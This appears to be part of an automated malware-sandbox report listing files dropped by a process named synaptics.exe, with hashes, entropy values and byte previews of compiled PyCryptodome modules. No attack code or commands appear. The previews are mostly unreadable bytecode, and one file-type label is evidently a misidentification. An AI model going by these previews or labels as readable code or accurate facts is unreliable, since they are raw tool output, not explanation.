SHA-256:	0A6EC7D6CA7734BFBF5A13B966D037D40E27839FB859722CA14649EA262F9C73
SHA-512:	9F00F8ABEC214123D376A91BFB9AC25D0A1AEE4DE37FBC674C62A4F8FA36088B695E630678D6AB5D1011EDAF7AABD025DF82F5CED3813E95BDCEC74B25DC4FDE
Malicious:	false
Reputation:	low
Preview:	o..........f:*.......................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d.d...Z.G.d.d...d.e...Z.....d.d.d...Z.d.S.)......)...unhexlify)...BLAKE2s)...strxor)...long_to_bytes..bytes_to_long)...bord..tobytes.._copy_bytes)...get_random_bytesNc....................C...s,...t.\|...d.>.\|.A.}.t.\|.t.\|.....t.\|.....d.....S.).N.....).r....r......len)...bsZ.xor_lsb..num..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\CMAC.py.._shift_bytes$...s........r....c....................@...sT...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...CMACz.A CMAC hash object.. Do not instantiate directly. Use the :func:`new` function... :ivar digest_size: the size in bytes of the resulting MAC tag. :vartype digest_size: integer. Nc....................C...sD...\|.\|._.t.d.d.\|...\|._.\|.\|._.\|.\|._.\|.j...\|._.}.d.\|._.\|.\|._.\|.d.k.r&d.}.d.\|._.n.\|.d.k.r0d.}.d.\|._.n.t.d.\|.......d.\|...}.\|.j.\|.\|.j.f.i

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\HMAC.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6356
Entropy (8bit):	5.473579203817209
Encrypted:	false
SSDEEP:	96:HqnCPUNnFO1qs4mQ8UGLe57h6edAGJHFMxdO3vCqA2MwqQH3SzCFKK0MFBPhXC0I:2/Qzexh6JdtJtAJFPQ9
MD5:	BC6C0A5FC43C5764BBCC122A05FEB5B0
SHA1:	5357F9A80428E56F507A6E10DA2578201F89D7C1
SHA-256:	EF668CAFA554F916DE568DE3850AD6E0790A4A3078049AFE3E5401A4FADED271
SHA-512:	6267779DD8C27D617E72A8938F0DCA4728E93ACE3E541B77C054DCE159D559F3ECB3B4B75C57910B27F7C5A0E8447C62A3839A46818F1B58F644E57660224CC8
Malicious:	false
Reputation:	low
Preview:	o..........f. .......................@...s....d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...e.....D...Z.G.d.d...d.e...Z.d.d.d...Z.d.S.)......)...bord..tobytes)...unhexlify)...BLAKE2s)...strxor)...get_random_bytes..new..HMACz.1.2.840.113549.2.7z.1.2.840.113549.2.8z.1.2.840.113549.2.9z.1.2.840.113549.2.10z.1.2.840.113549.2.11z.1.2.840.113549.2.12z.1.2.840.113549.2.13z.2.16.840.1.101.3.4.2.13z.2.16.840.1.101.3.4.2.14z.2.16.840.1.101.3.4.2.15z.2.16.840.1.101.3.4.2.16).z.1.3.14.3.2.26z.2.16.840.1.101.3.4.2.4z.2.16.840.1.101.3.4.2.1z.2.16.840.1.101.3.4.2.2z.2.16.840.1.101.3.4.2.3z.2.16.840.1.101.3.4.2.5z.2.16.840.1.101.3.4.2.6z.2.16.840.1.101.3.4.2.7z.2.16.840.1.101.3.4.2.8z.2.16.840.1.101.3.4.2.9z.2.16.840.1.101.3.4.2.10c....................C...s....i.\|.].\.}.}.\|.\|...q.S...r....)....0..k..vr....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\HMAC.py..<dictcomp>:...s......r....c....................@...sR...e.Z.d.Z.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\MD5.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5410
Entropy (8bit):	5.185991714871779
Encrypted:	false
SSDEEP:	96:mbykvVEVoaG0Ed5cDlD1HkiM7wmZH3wmbOs6Q1/wQbya2qzgRlpXnFMNh:mhEZDkFbAQVwQPsRPA
MD5:	7B387DCBE0FF64E66A0409F000C56E61
SHA1:	BA8C434139D713B0C0082DE14B8D6A1B5EDBE18A
SHA-256:	2C0732BC106CA9813C1502DE55611FBF86DBD287693E5E88916342C649A3BB2E
SHA-512:	A16B53EAE40FA4B6F4D5A0D1BCE75B602A7087C330051F6B5EB77068AC0395B25264626FD8F6CC69FEADFC4B895B5970A88899DF33F1967C0F4B2C96F1DE5568
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sd...d.d.l.T.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.d.Z.d.Z.d.d...Z.d.S.)......)...)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._MD5a..... #define MD5_DIGEST_SIZE 16.. int MD5_init(void shaState);. int MD5_destroy(void shaState);. int MD5_update(void hs,. const uint8_t buf,. size_t len);. int MD5_digest(const void shaState,. uint8_t digest[MD5_DIGEST_SIZE]);. int MD5_copy(const void src, void dst);.. int MD5_pbkdf2_hmac_assist(const void inner,. const void *outer,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\SHA1.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5433
Entropy (8bit):	5.194071695945998
Encrypted:	false
SSDEEP:	96:htykvm51RUT7NCaGuEd5SCjor1HcMM7AF8ZH3w7MbOs6IVFya28zTlpXJ1MB5:hc51RC7NrCErcTbAIVjXxU
MD5:	FC054BC9F1832F75CDF00192E174C1E6
SHA1:	C02759733E9A0222C5980564EB44A1AEE1983162
SHA-256:	9CA8288E53E90F163F4311F8AF0675FA184C3A928B582F399EAA54BFE3620114
SHA-512:	91E64791FD7D3E7C9B90448420DF429A6D9B1247D335980D120117A89B1DF4B9FD15B3F8522AE93DC2F8B966FA448C5678B1C922113232A871A09866643F1867
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sh...d.d.l.T.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)......)...)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA1a..... #define SHA1_DIGEST_SIZE 20.. int SHA1_init(void shaState);. int SHA1_destroy(void shaState);. int SHA1_update(void hs,. const uint8_t buf,. size_t len);. int SHA1_digest(const void shaState,. uint8_t digest[SHA1_DIGEST_SIZE]);. int SHA1_copy(const void src, void dst);.. int SHA1_pbkdf2_hmac_assist(const void inner,. const void *outer,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\SHA256.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5606
Entropy (8bit):	5.182727877241171
Encrypted:	false
SSDEEP:	96:rkykv4XXR6TJDkKGAEd5+i5c1HqO2NZH3Hb4fOs6viWkZLgz47MrxK:rhXXR8JD85cyj4fAvTWURK
MD5:	93CC88C70E43F0ECF89A5B0EA38F65D2
SHA1:	A4A5CD014DB0BD44D24AAA95989DCFD0DB16C4E1
SHA-256:	16D8C6FFEE555B1C39A60862E5435EE2F14585E74076848E8EC8F95408878F69
SHA-512:	37E0125A884F4DB590AD77CF512050EFACEFB84961A99AB685076297ED10EAD05A482168BDB1E1D37635506B7A8854A4F842EB5FB9AA8C1FB6EB889763A1A671
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sl...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)..........bord)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA256a..... int SHA256_init(void *shaState);. int SHA256_destroy(void shaState);. int SHA256_update(void hs,. const uint8_t buf,. size_t len);. int SHA256_digest(const void shaState,. uint8_t digest,. size_t digest_size);. int SHA256_copy(const void src, void dst);.. int SHA256_pbkdf2_hmac_assist(const void inner,. const void outer,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	5.627938515362733
Encrypted:	false
SSDEEP:	48:ZokzpHdkloLwZGD20+wMmqlZ6tB+BTIIIXII5p6:ZlHd/20uSz+BG4
MD5:	36985553DC2BA7CF8FDDA194D8455F3F
SHA1:	0349CC429634A6A22A16961D6DE5D6AEC711AA4F
SHA-256:	95846B15BBFE015862ABEF226C2B0006595CF6830131E04FBD4CD6D36D0E41E7
SHA-512:	58D888A284B0F2AA2EFE4AAEB1B1DD8710A9B780490CD4E3D61740FBF6D646363534D2136D13AAFF6A603CE1A27D32E607E376B64F1406A9650670757FB2C03F
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....g.d...Z.d.d...Z.d.S.).)...HMACZ.MD2Z.MD4..MD5Z.RIPEMD160..SHA1..SHA224..SHA256..SHA384..SHA512..SHA3_224..SHA3_256..SHA3_384..SHA3_512Z.CMACZ.Poly1305Z.cSHAKE128Z.cSHAKE256Z.KMAC128Z.KMAC256Z.TupleHash128Z.TupleHash256Z.KangarooTwelveZ.TurboSHAKE128Z.TurboSHAKE256c....................C...sT...\|.....}.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r<d.d.l.m.}...\|.....S.\|.d.v.rJd.d.l.m.}...\|.....S.\|.d.v.rZd.d.l.m.}...\|.j.d.d...S.\|.d.v.rjd.d.l.m.}...\|.j.d.d...S.\|.d.v.rxd.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.t.d.t.\|.........).zKReturn a new hash instance, based on its name or. on its ASN.1 Object ID).z.1.3.14.3.2.26r....z.SHA-1.....).r....).z.2.16.840.1.101.3.4.2.4r....z.SHA-224).r....).z.2.16.840.1.101.3.4.2.1r....z.SHA-256).r....).z.2.16.840.1.101.3.4.2.2r....z.SHA-384).r....).z.2.16.840.1.101.3.4.2.3r....z.SHA-512).r....).z.2.16.840

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\IO\pycache\PEM.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4543
Entropy (8bit):	5.783120805321905
Encrypted:	false
SSDEEP:	96:pClXflwfEc4b6m/KEHSjZtJ4uoJZ/jWR8I4wqAAS4IILLgPT:pCffv6miHZtJ4uOjO8I4wqAATIILEL
MD5:	7FC977413F7FDB99751D9D153DF567D3
SHA1:	4AA262B9412AC6B202B3ADB3A11253A788426997
SHA-256:	E1ED35D861DC85E42309D4DD1FE8B3FF805DC35F9D2F5E6B2BEE4E8F9C5EC6BD
SHA-512:	1820F806CB51E43E15AF2BF0CEE2CF8A687E5D97C752539F4EAB40CD73A33F66D216EE4CA6D1EE0CAD11FA4734B1CC4D0160086D21090FFD93D0954A1036FC74
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.g.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...encode..decode.....N)...a2b_base64..b2a_base64..hexlify..unhexlify)...MD5)...pad..unpad)...DES..DES3..AES)...PBKDF1)...get_random_bytes)...tobytes..tostrc........................s....\|.d.u.r.t.}.d.\|...}.\|.rB\|.d...}.t.\|.\|.d.d.t...}.\|.t.\|.\|...\|.d.d.t...7.}.t...\|.t.j.\|...}.\|.d.t.t.\|...........7.}.\|...t...\|.j.......n.\|.d.u.rJt.d.......f.d.d...t.d.t.....d...D...}.\|.d...\|...7.}.\|.d.\|...7.}.\|.S.).a4...Encode a piece of binary data into PEM format... Args:. data (byte string):. The piece of binary data to encode.. marker (string):. The marker for the PEM block (e.g. "PUBLIC KEY").. Note that there is no official master list for all allowed markers.. Still, you can refer to the OpenSSL_ source code.. passphrase (byte string):. If given,

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\IO\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.092460882202697
Encrypted:	false
SSDEEP:	3:y/hUlGptBlxnzgmgudWEJDkzzXhm1aHF50YTlHX0M9VWrz4ixikcTgf:y/RpznzgmgSW+91aHxEM9ArMAy+
MD5:	6F8A5A9A3D7020C0B4B7E98AF0C553E9
SHA1:	32BF262084DC8EDC9B352EA56ED1698408D28A25
SHA-256:	4B98AFB16394E7922B00E7BF19230531799530105025689862C43E81764E2AB2
SHA-512:	7FC47D95212EF6B505D2AEAFAF9D8375912491FFE0474A4FDD0FBC05AE1AAEE69D5AB95742B9AF615C5935F508F13D51E0F7679EB48BDE3A681250F40BD14547
Malicious:	false
Reputation:	low
Preview:	o..........f#........................@...s....d.d.g.Z.d.S.)...PEM..PKCS8N)...__all__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\IO\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\Numbers.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	563
Entropy (8bit):	5.388480206069932
Encrypted:	false
SSDEEP:	12:C4jXHzW76nDBG45OUZLvZHLSIj0pPvZHLOkvZHLa8lhTKJgD:TjMiFLvZWIjUvZ5vZGwh5
MD5:	A7472E2CA84BA4DE83FBF8CF1179E5DC
SHA1:	7F8A895411D254F56F4294810D152594425AAD4E
SHA-256:	5D03BEA584D595DA32839919352921B3E3EC33EDC2DFC5E512886DD5735A108A
SHA-512:	803E5824DC912A86011A11F3D4EDF1EC7DB7A263A07B099F52A793CB5E18C5BF00CFF67BC78BAF9C678295AF9FAA31A7DD3E4E34E68ABFD12C7EB35B0DAE3E32
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.g.Z.z.d.d.l.m.Z...d.d.l.m.Z...W.d.S...e.e.e.f.yB......z.d.d.l.m.Z...d.d.l.m.Z...W.Y.d.S...e.e.f.yA......d.d.l.m.Z...i.Z.Y.Y.d.S.w.w.)...Integer.....)...IntegerGMP)...implementation)...IntegerCustom)...IntegerNativeN)...__all__Z.Crypto.Math._IntegerGMPr....r....r....Z._implementation..ImportError..OSError..AttributeErrorZ.Crypto.Math._IntegerCustomr....Z.Crypto.Math._IntegerNativer......r....r.....EC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\Numbers.py..<module>....s..............................

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\Primality.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7442
Entropy (8bit):	5.519481103300708
Encrypted:	false
SSDEEP:	192:sfN8ODJyBGU8lODJq3D6Gd5+zbXQO5qcUd:sqc3OGdmtW
MD5:	59C454D6D589E66F1AAFF2DE61861942
SHA1:	8D23E1F86012322F06072CDC0D2112DE9878012A
SHA-256:	7EFD0A16A38975C123597BED26E94744C48A5F9B721CC1F1F6BE6F371CA37019
SHA-512:	59B9ABC2BF6FBD7586D84B1C3CC739E77D0007EE130A233A35655CFBCCDCE4D567EF64E1536D1F8B73214DDE8A2601BB34A80ECDDAD659227B2696592E7441D5
Malicious:	false
Reputation:	low
Preview:	o..........f.-.......................@...s\|...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.d.d...Z.d.d...Z.d.d.l.m.Z...e.e.d.d.......Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.).zHFunctions to create and test prime numbers...:undocumented: __package__......)...Random)...Integer)...iter_range.....Nc....................C...s<...t.\|.t...s.t.\|...}.\|.d.v.r.t.S.\|.....r.t.S.t.d...}.t.\|.d.....}.\|.d.u.r(t.....j.}.t.\|...}.d.}.\|.....r>\|.d.L.}.\|.d.7.}.\|.....s2t.\|...D.]Y}.d.}.\|.\|.\|.f.v.rlt.j.d.\|.d...\|.d...}.d.\|.....k.rc\|.d...k.sfJ.....J...\|.\|.\|.f.v.sLt.\|.\|.\|...}.\|.\|.\|.f.v.ryqBt.d.\|...D.].}.t.\|.d.\|...}.\|.\|.k.r...n.\|.\|.k.r.t.........S.q~t.....S.qBt.S.).a:...Perform a Miller-Rabin primality test on an integer... The test is specified in Section C.3.1 of `FIPS PUB 186-4`__... :Parameters:. candidate : integer. The number to test for primality.. iterations : integer. The maximum number of iterations to perform before. declaring a candidate a probable prime.. randfunc

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\_IntegerBase.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11443
Entropy (8bit):	4.986033275730306
Encrypted:	false
SSDEEP:	192:uj5Panlqjgi/xVcz2QRUtIs3J3Aqqk0ruPuRfNob3l8kKlzC2WrUkvh:ujMlqjgEVcz2QCtIs3J3AqJZb36kK5Ct
MD5:	F52CBC77CF2531E104A6CB0E7E9527A9
SHA1:	804BF1581F24DA5EDAC71B3708B5FE87A89E13A0
SHA-256:	25DD556DD8062AFFEE252BF331C33DA7C5257BB904DD8EC2C415910B68B6DA8F
SHA-512:	989C6801CEA4FEE23119A2625A25EEF41C65095FB709302311F63F3DB31ECBA0A5F67B58423905C72F28B48CCA95590783247233D0FA6168DDB7D389893AA3CF
Malicious:	false
Reputation:	low
Preview:	o..........f.-.......................@...s@...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N)...iter_range..bord..bchr..ABC)...Randomc....................@...s....e.Z.d.Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.dhd.d.....Z.e.e.j.did.d.......Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d.....Z.e.Z.e.j.d.d.....Z.e.j.d.d.....Z.e.j.d.d ....Z.e.j.d!d"....Z.e.j.d#d$....Z.e.j.d%d&....Z.e.j.djd(d)....Z.e.j.djdd+....Z.e.j.d,d-....Z.e.j.djd.d/....Z.e.j.d0d1....Z.e.j.d2d3....Z.e.j.d4d5....Z.e.j.d6d7....Z e.j.d8d9....Z!e.j.d:d;....Z"e.j.d<d=....Z#e.j.d>d?....Z$e.j.d@dA....Z%e.j.dBdC....Z&e.j.dDdE....Z'e.j.dFdG....Z(e.j.dHdI....Z)e.j.dJdK....Ze.j.dLdM....Z+e.j.dNdO....Z,e.j.dPdQ....Z-e.j.dRdS....Z.e.j.dTdU....Z/e.j.dVdW....Z0e.j.dXdY....Z1e.j.dZd[....Z2e.j.d\d]....Z3e.e.j.d^d_......Z4e.d`da....Z5e6dbdc....Z7e6ddde....Z8e.e.j.dfdg......Z9d'S.)k..IntegerBasec....................C........d.S...N......selfr....r.....JC:\Us

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\_IntegerCustom.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2963
Entropy (8bit):	5.417697241112068
Encrypted:	false
SSDEEP:	48:vXkxRn/584h+MihBCNnK3FN1UfeLdyyVNRYtCmVMclu06OJGsvpuI9vprfgDzkWp:vXkv/YXhB829bgkmVMeX6cp1prfgDHb9
MD5:	03A3FCE262B431FA36E054810A31CE90
SHA1:	065BC683022DB53C3F451519A1296DB3A7981958
SHA-256:	7B0BC960DFE03746D6E3A1C444C4982B27D4A08252731E25D1973FC351CD07C3
SHA-512:	01A32808755DB935650E82703095AE5738C3CA05A90E5205DAD9769C0B4F4A897D6FE873CB94216BEB38B88B1D4A7B012AEE039DE1236F2F275473A106EA6034
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...st...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.e.d.e...Z.d.e.d...Z.G.d.d...d.e...Z.d.S.)......)...IntegerNative.....)...long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..backend..c_size_t..c_ulonglong)...getrandbitsa.....int monty_pow(uint8_t out,. const uint8_t base,. const uint8_t exp,. const uint8_t modulus,. size_t len,. uint64_t seed);..int monty_multiply(uint8_t out,. const uint8_t term1,. const uint8_t term2,. const uint8_t modulus,. size_t len);.z.Crypto.Math._modexpZ.custom)...library..apic....................@...s0...e.Z.d.Z.e.d.d.d.....Z.d.d.d...Z.e.d.d.....Z.d.S.)...IntegerCustom..bigc....................C...s8...\|.d.k.r.n.\|.d.k.r.t.\|...}.\|.......n.t.d.....t.t.\|.....S.).Nr......lit

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\_IntegerGMP.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 512-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, maximum point enabled, calibration: offset 0.000000, slope 128.000000
Category:	dropped
Size (bytes):	20453
Entropy (8bit):	5.2861292003326135
Encrypted:	false
SSDEEP:	384:QHCMZp3pZsEbpnho9ak9blkWhHJM+RS23v6rzlW1353/dsgu2OgRK:NMZxpGapnhrk9blkWNEHIpRuIRK
MD5:	A5B62210B93CF8A845341138C0DC27FB
SHA1:	9D4270781DCB477A78E99505B93C52C9759C990E
SHA-256:	47AE6D7EA3C41BF56F017ADD144BC0F7590528EB8285D4CCA9059928921ECC4E
SHA-512:	4BE9408AF969C6329CF78D093BA0AF39B46E680D331F7D57800327B5603DC3FD314D10C66E94A5170D8A966BEE35C7F06487DA9478B0E5D0A2237EBCAA8FFF07
Malicious:	false
Reputation:	low
Preview:	o..........fUn.......................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.e.j.d.k.r3e.d.....e.d.e...Z.d.e.d...Z.e.e.d...rFe.d.....e.d...d.k.red.d.l.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d.d...Z.n.d.d.l.m.Z...d.d...Z.G.d.d...d.e...Z.e...Z G.d.d...d.e...Z!d.S.)......N)...tobytes..is_native_int)...backend..load_lib..get_raw_buffer..get_c_string..null_pointer..create_string_buffer..c_ulong..c_size_t..c_uint8_ptr.....)...IntegerBaseaY...typedef unsigned long UNIX_ULONG;. typedef struct { int a; int b; void *c; } MPZ;. typedef MPZ mpz_t[1];. typedef UNIX_ULONG mp_bitcnt_t;.. void __gmpz_init (mpz_t x);. void __gmpz_init_set (mpz_t rop, const mpz_t op);. void __gmpz_init_set_ui (mpz_t rop, UNIX_ULONG op);.. UNIX_ULONG __gmpz_get_ui (const mpz_t op);. void __gmpz_set (mpz_t rop, const mpz_t op);. void __gmpz_set_ui (mpz_t rop, UNIX_ULONG op);. void __gmpz_add (mpz_t rop, co

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\_IntegerNative.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10703
Entropy (8bit):	4.874587424670691
Encrypted:	false
SSDEEP:	192:yfddwtdzk05NpqTIIsPg96w9MOpdClFUeh/z5p3SCS2gp/cj1GiXB6ITVaw3+3Zz:y3OdzN5NpqTIIsEVFnG7h/LSCS2i0j1o
MD5:	AD5F1E528713BBFDAFE882E131D8D7A0
SHA1:	27AF0BF429E531584DA3B2F96C4CE4CDED31FBA4
SHA-256:	C53E701770946807B7124AFCA8572167D5B7C55EDF2D648B340EB6651E5E4607
SHA-512:	ED10F604886F085A5D3ED401E41B0627FABF25AD6D764E6FE8387D983A974531DBF3E70A63C95C683465AD9671AC51A633CDD43C246761197F6642A7C6FD3A7A
Malicious:	false
Reputation:	low
Preview:	o..........f.-.......................@...s8...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d.S.)......)...IntegerBase.....)...long_to_bytes..bytes_to_long..inverse..GCDc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.did.d...Z.e.djd.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e.Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.dkd/d0..Z.dkd1d2..Z.d3d4..Z.dkd5d6..Z.d7d8..Z.d9d:..Z d;d<..Z!d=d>..Z"d?d@..Z#dAdB..Z$dCdD..Z%dEdF..Z&dGdH..Z'dIdJ..Z(dKdL..Z)dMdN..ZdOdP..Z+dQdR..Z,dSdT..Z-dUdV..Z.dWdX..Z/dYdZ..Z0d[d\..Z1d]d^..Z2d_d`..Z3dadb..Z4dcdd..Z5e6dedf....Z7e6dgdh....Z8d.S.)l..IntegerNativez3A class to model a natural integer (including zero)c....................C...s<...t.\|.t...r.t.d.....z.\|.j.\|._.W.d.S...t.y.......\|.\|._.Y.d.S.w.).Nz-A floating point type is not a natural number)...isinstance..float..ValueError.._value..AttributeError)...self..value..r.....LC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\_In

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.619118590995775
Encrypted:	false
SSDEEP:	3:y/hcGllluleh/wZWejIaHF50YTlHX0M9VWrz4mLOkcTgp:y/Vl/qeh/wvIaHxEM9ArMF4
MD5:	F46A4082231B706D0CC924A76F6FBDE2
SHA1:	07A389746C9BF8A2FC47131C3770F7722937C90A
SHA-256:	C074FC6E78CE9F124B53DA1B9556E441A7AA18092A6C6260C69E09DF5239EFF7
SHA-512:	E138409D74E0856338B365FA1BDDF58415B42EC6BE1AC3A8F5ED1D1DECDAABECEE23BF08FB07763C92805BD65131F995A928DA1BE722D838D18987ECECF908A0
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.S.).N..r....r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Math\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20415
Entropy (8bit):	5.443242297483508
Encrypted:	false
SSDEEP:	384:KwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:KdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	903435CB077CE4003E1946B42105EC4A
SHA1:	20EFD7F8DAB471B4DF7A59A087B270F8F237960E
SHA-256:	E01CE00BAA4CEE2991561327381842B44EF1F0EEC254F022F2DCAF11E927F3CB
SHA-512:	EEB10BC15174E88574C5A3160E29994BC9C929E5845605F97755F3AA844ED41BBDED0265929A34A510FA0C4FD3757D4EFFB4D69956929F68C8D4C6CA0C58945E
Malicious:	false
Reputation:	low
